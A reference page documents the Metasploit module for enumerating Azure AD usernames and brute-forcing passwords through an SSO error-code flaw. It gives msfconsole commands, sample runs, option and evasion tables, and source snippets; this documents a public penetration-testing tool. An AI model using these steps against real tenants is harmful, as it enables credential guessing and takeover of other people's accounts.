Microsoft Azure Active Directory Login Enumeration - Metasploit
This page contains detailed information about how to use the auxiliary/scanner/http/azure_ad_login metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.
Module Overview
Name: Microsoft Azure Active Directory Login Enumeration
Module: auxiliary/scanner/http/azure_ad_login
Source code: modules/auxiliary/scanner/http/azure_ad_login.rb
Disclosure date: -
Last modification time: 2022-10-05 13:19:36 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: http, https
Target network port(s): 80, 443, 3000, 8000, 8008, 8080, 8443, 8880, 8888
List of CVEs: -
This module enumerates valid usernames and passwords against a Microsoft Azure Active Directory domain by utilizing a flaw in how SSO authenticates.
Module Ranking and Traits
Module Ranking:
- normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.
Basic Usage
msf > use auxiliary/scanner/http/azure_ad_login
msf auxiliary(azure_ad_login) > show targets
... a list of targets ...
msf auxiliary(azure_ad_login) > set TARGET target-id
msf auxiliary(azure_ad_login) > show options
... show and set options ...
msf auxiliary(azure_ad_login) > exploit
Required Options
- DOMAIN: The target Azure AD domain
Knowledge Base
Vulnerable Application
The Microsoft Azure AD SSO service has a vulnerable endpoint that delivers an error-code based response to specific authentication requests in XML. The endpoint, when passed the correct credentials, will respond with a DesktopSsoToken that can be used to authenticate to Azure AD. When the authentication is unsuccessful, the error code that is returned can be used to discover the validity of usernames in the target tenant. This module also reports credentials to the credentials database when they are discovered.
Verification Steps
- [ ] Start
msfconsole
- [ ]
use auxiliary/scanner/http/azure_ad_login
- [ ]
show info
- [ ]
set USER_FILE USER_FILE
- [ ]
set PASS_FILE PASS_FILE
- [ ]
set DOMAIN example.com
- [ ]
run
- [ ] Check output for validity of your test username(s), and password(s)
Options
DOMAIN
The target tenant domain to use for the username checks.
USERNAME
A specific username to verify.
PASSWORD
A specific password to verify.
USER_FILE
A file with users, one per line.
PASS_FILE
A file with passwords, one per line.
Scenarios
Azure AD Tenants with SSO Enabled
If a tenant's domain is known, you can use this module for username and password brute-forcing.
Specific target output replaced with *s so as not to disclose information
msf6 > use auxiliary/scanner/http/azure_ad_login
msf6 auxiliary(scanner/http/azure_ad_login) > set USER_FILE /home/kali/users.txt
USER_FILE => /home/kali/users.txt
msf6 auxiliary(scanner/http/azure_ad_login) > set PASS_FILE /home/kali/pass.txt
PASS_FILE => /home/kali/pass.txt
msf6 auxiliary(scanner/http/azure_ad_login) > set DOMAIN example.com
DOMAIN => example.com
msf6 auxiliary(scanner/http/azure_ad_login) > run
msf6 auxiliary(scanner/http/azure_ad_login) > run
[-] example.com\wrong is not a valid user
[-] example.com\wrong is not a valid user
[-] example.com\wrong is not a valid user
[-] example.com\k0pak4 is not a valid user
[-] example.com\k0pak4 is not a valid user
[-] example.com\k0pak4 is not a valid user
[+] Password password is invalid but example.com\**** is valid!
[+] Password Password1! is invalid but example.com\**** is valid!
[+] Login example.com\****:****** is valid!
[+] Desktop SSO Token: *******************************************
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
If a tenant's domain is known, you can enumerate their usernames
msf6 > use auxiliary/scanner/http/azure_ad_login
msf6 auxiliary(scanner/http/azure_ad_login) > set USER_FILE /home/kali/users.txt
USER_FILE => /home/kali/users.txt
msf6 auxiliary(scanner/http/azure_ad_login) > set PASSWORD password
PASSWORD => password
msf6 auxiliary(scanner/http/azure_ad_login) > set DOMAIN example.com
DOMAIN => example.com
msf6 auxiliary(scanner/http/azure_ad_login) > run
[-] example.com\wrong is not a valid user
[-] example.com\k0pak4 is not a valid user
[+] Password password is invalid but example.com\**** is valid!
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
Go back to menu.
Msfconsole Usage
Here is how the scanner/http/azure_ad_login auxiliary module looks in the msfconsole:
msf6 > use auxiliary/scanner/http/azure_ad_login
msf6 auxiliary(scanner/http/azure_ad_login) > show info
Name: Microsoft Azure Active Directory Login Enumeration
Module: auxiliary/scanner/http/azure_ad_login
License: Metasploit Framework License (BSD)
Rank: Normal
Provided by:
Matthew Dunn - k0pak4
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
DOMAIN yes The target Azure AD domain
PASSWORD password no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOST autologon.microsoftazuread-sso.com yes The target Azure endpoint
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI /winauth/trust/2005/usernamemixed yes The base path to the Azure autologon endpoint
USERNAME no A specific username to authenticate as
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
Description:
This module enumerates valid usernames and passwords against a
Microsoft Azure Active Directory domain by utilizing a flaw in how
SSO authenticates.
References:
https://raxis.com/blog/metasploit-azure-ad-login
https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/
https://github.com/treebuilder/aad-sso-enum-brute-spray
Module Options
This is a complete list of options available in the scanner/http/azure_ad_login auxiliary module:
msf6 auxiliary(scanner/http/azure_ad_login) > show options
Module options (auxiliary/scanner/http/azure_ad_login):
Name Current Setting Required Description
---- --------------- -------- -----------
BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5
DB_SKIP_EXISTING none no Skip existing credentials stored in the current database (Accepted: none, user, user&realm)
DOMAIN yes The target Azure AD domain
PASSWORD password no A specific password to authenticate with
PASS_FILE no File containing passwords, one per line
RHOST autologon.microsoftazuread-sso.com yes The target Azure endpoint
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI /winauth/trust/2005/usernamemixed yes The base path to the Azure autologon endpoint
USERNAME no A specific username to authenticate as
USER_FILE no File containing usernames, one per line
VERBOSE true yes Whether to print output for all attempts
Advanced Options
Here is a complete list of advanced options supported by the scanner/http/azure_ad_login auxiliary module:
msf6 auxiliary(scanner/http/azure_ad_login) > show advanced
Module advanced options (auxiliary/scanner/http/azure_ad_login):
Name Current Setting Required Description
---- --------------- -------- -----------
DigestAuthIIS true no Conform to IIS, should work for most servers. Only set to false for non-IIS servers
FingerprintCheck true no Conduct a pre-exploit fingerprint verification
HttpClientTimeout no HTTP connection and receive timeout
HttpPassword no The HTTP password to specify for authentication
HttpRawHeaders no Path to ERB-templatized raw headers to append to existing headers
HttpTrace false no Show the raw HTTP requests and responses
HttpTraceColors red/blu no HTTP request and response colors for HttpTrace (unset to disable)
HttpTraceHeadersOnly false no Show HTTP headers only in HttpTrace
HttpUsername no The HTTP username to specify for authentication
MaxGuessesPerService 0 no Maximum number of credentials to try per service instance. If set to zero or a non-nu
mber, this option will not be used.
MaxGuessesPerUser 0 no Maximum guesses for a particular username for the service instance. Note that users a
re considered unique among different services, so a user at 10.1.1.1:22 is different
from one at 10.2.2.2:22, and both will be tried up to the MaxGuessesPerUser limit. If
set to zero or a non-number, this option will not be used.
MaxMinutesPerService 0 no Maximum time in minutes to bruteforce the service instance. If set to zero or a non-n
umber, this option will not be used.
REMOVE_PASS_FILE false yes Automatically delete the PASS_FILE on module completion
REMOVE_USERPASS_FILE false yes Automatically delete the USERPASS_FILE on module completion
REMOVE_USER_FILE false yes Automatically delete the USER_FILE on module completion
SSLVersion Auto yes Specify the version of SSL/TLS to be used (Auto, TLS and SSL23 are auto-negotiate) (A
ccepted: Auto, TLS, SSL23, SSL3, TLS1, TLS1.1, TLS1.2)
TRANSITION_DELAY 0 no Amount of time (in minutes) to delay before transitioning to the next user in the arr
ay (or password when PASSWORD_SPRAY=true)
UserAgent Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:9 no The User-Agent header to use for all requests
4.0) Gecko/20100101 Firefox/94.0
WORKSPACE no Specify the workspace for this module
Auxiliary Actions
This is a list of all auxiliary actions that the scanner/http/azure_ad_login module can do:
msf6 auxiliary(scanner/http/azure_ad_login) > show actions
Auxiliary actions:
Name Description
---- -----------
Evasion Options
Here is the full list of possible evasion options supported by the scanner/http/azure_ad_login auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 auxiliary(scanner/http/azure_ad_login) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
HTTP::header_folding false no Enable folding of HTTP headers
HTTP::method_random_case false no Use random casing for the HTTP method
HTTP::method_random_invalid false no Use a random invalid, HTTP method for request
HTTP::method_random_valid false no Use a random, but valid, HTTP method for request
HTTP::pad_fake_headers false no Insert random, fake headers into the HTTP request
HTTP::pad_fake_headers_count 0 no How many fake headers to insert into the HTTP request
HTTP::pad_get_params false no Insert random, fake query string variables into the request
HTTP::pad_get_params_count 16 no How many fake query string variables to insert into the request
HTTP::pad_method_uri_count 1 no How many whitespace characters to use between the method and uri
HTTP::pad_method_uri_type space no What type of whitespace to use between the method and uri (Accepted: space, tab, apache)
HTTP::pad_post_params false no Insert random, fake post variables into the request
HTTP::pad_post_params_count 16 no How many fake post variables to insert into the request
HTTP::pad_uri_version_count 1 no How many whitespace characters to use between the uri and version
HTTP::pad_uri_version_type space no What type of whitespace to use between the uri and version (Accepted: space, tab, apache)
HTTP::uri_dir_fake_relative false no Insert fake relative directories into the uri
HTTP::uri_dir_self_reference false no Insert self-referential directories into the uri
HTTP::uri_encode_mode hex-normal no Enable URI encoding (Accepted: none, hex-normal, hex-noslashes, hex-random, hex-all, u-normal, u-all, u-rand
om)
HTTP::uri_fake_end false no Add a fake end of URI (eg: /%20HTTP/1.0/../../)
HTTP::uri_fake_params_start false no Add a fake start of params to the URI (eg: /%3fa=b/../)
HTTP::uri_full_url false no Use the full URL for all HTTP requests
HTTP::uri_use_backslashes false no Use back slashes instead of forward slashes in the uri
HTTP::version_random_invalid false no Use a random invalid, HTTP version for request
HTTP::version_random_valid false no Use a random, but valid, HTTP version for request
Go back to menu.
Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
<PEER> - Could not communicate with service.
Here is a relevant code snippet related to the "<PEER> - Could not communicate with service." error message:
120: },
121: 'data' => body
122: })
123:
124: unless res
125: fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
126: end
127:
128: @target_host ||= report_host(host: rhost, name: rhost, state: Msf::HostState::Alive)
129:
130: # Check the XML response for either the SSO Token or the error code
<DOMAIN>\<USERNAME> is not a valid user
Here is a relevant code snippet related to the "<DOMAIN>\<USERNAME> is not a valid user" error message:
155: :next_user
156: elsif auth_details.start_with?('AADSTS50014') # User exists, but the maximum Pass-through Authentication time was exceeded
157: print_good("#{domain}\\#{username} is valid but the maximum pass-through authentication time was exceeded")
158: report_login(@target_host.address, domain, username, nil)
159: elsif auth_details.start_with?('AADSTS50034') # User does not exist
160: print_error("#{domain}\\#{username} is not a valid user")
161: elsif auth_details.start_with?('AADSTS50053') # Account is locked
162: print_error('Account is locked, consider taking time before continuuing to scan!')
163: :next_user
164: else # Unknown error code
165: print_error("Received unknown response with error code: #{auth_details}")
Account is locked, consider taking time before continuuing to scan!
Here is a relevant code snippet related to the "Account is locked, consider taking time before continuuing to scan!" error message:
157: print_good("#{domain}\\#{username} is valid but the maximum pass-through authentication time was exceeded")
158: report_login(@target_host.address, domain, username, nil)
159: elsif auth_details.start_with?('AADSTS50034') # User does not exist
160: print_error("#{domain}\\#{username} is not a valid user")
161: elsif auth_details.start_with?('AADSTS50053') # Account is locked
162: print_error('Account is locked, consider taking time before continuuing to scan!')
163: :next_user
164: else # Unknown error code
165: print_error("Received unknown response with error code: #{auth_details}")
166: end
167: end
Received unknown response with error code: <AUTH_DETAILS>
Here is a relevant code snippet related to the "Received unknown response with error code: <AUTH_DETAILS>" error message:
160: print_error("#{domain}\\#{username} is not a valid user")
161: elsif auth_details.start_with?('AADSTS50053') # Account is locked
162: print_error('Account is locked, consider taking time before continuuing to scan!')
163: :next_user
164: else # Unknown error code
165: print_error("Received unknown response with error code: #{auth_details}")
166: end
167: end
168:
169: def run
170: each_user_pass do |cur_user, cur_pass|
Go back to menu.
Related Pull Requests
- #15900 Merged Pull Request: Update Azure AD Login Scanner Documentation
- #15755 Merged Pull Request: Azure Active Directory Login Scanner Module
References
- CVE: Not available
- https://raxis.com/blog/metasploit-azure-ad-login
- https://arstechnica.com/information-technology/2021/09/new-azure-active-directory-password-brute-forcing-flaw-has-no-fix/
- https://github.com/treebuilder/aad-sso-enum-brute-spray
See Also
Check also the following modules related to this module:
- exploit/dialup/multi/login/manyargs
- auxiliary/scanner/http/accellion_fta_statecode_file_read
- auxiliary/scanner/http/adobe_xml_inject
- auxiliary/scanner/http/advantech_webaccess_login
- auxiliary/scanner/http/cassandra_web_file_read
- auxiliary/scanner/http/cisco_firepower_download
- auxiliary/scanner/http/directadmin_login
- auxiliary/scanner/http/etherpad_duo_login
- auxiliary/scanner/http/goahead_traversal
- auxiliary/scanner/http/host_header_injection
- auxiliary/scanner/http/hp_imc_bims_downloadservlet_traversal
- auxiliary/scanner/http/hp_imc_faultdownloadservlet_traversal
- auxiliary/scanner/http/hp_imc_ictdownloadservlet_traversal
- auxiliary/scanner/http/hp_imc_som_file_download
- auxiliary/scanner/http/hp_sitescope_loadfilecontent_fileaccess
- auxiliary/scanner/http/http_header
- auxiliary/scanner/http/meteocontrol_weblog_extractadmin
- auxiliary/scanner/http/phpmyadmin_login
- auxiliary/scanner/http/pocketpad_login
- auxiliary/scanner/http/radware_appdirector_enum
- auxiliary/scanner/http/rfcode_reader_enum
- auxiliary/scanner/http/riverbed_steelhead_vcx_file_read
- auxiliary/scanner/http/titan_ftp_admin_pwd
- auxiliary/scanner/http/wp_dukapress_file_read
- auxiliary/scanner/http/wp_duplicator_file_read
- auxiliary/scanner/http/wp_gimedia_library_file_read
- auxiliary/scanner/http/wp_mobileedition_file_read
- auxiliary/scanner/http/wp_nextgen_galley_file_read
- auxiliary/scanner/http/wp_simple_backup_file_read
- auxiliary/scanner/http/wp_subscribe_comments_file_read
- auxiliary/scanner/http/wp_total_upkeep_downloader
- auxiliary/scanner/http/zenload_balancer_traversal
Authors
- Matthew Dunn - k0pak4
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
Go back to menu.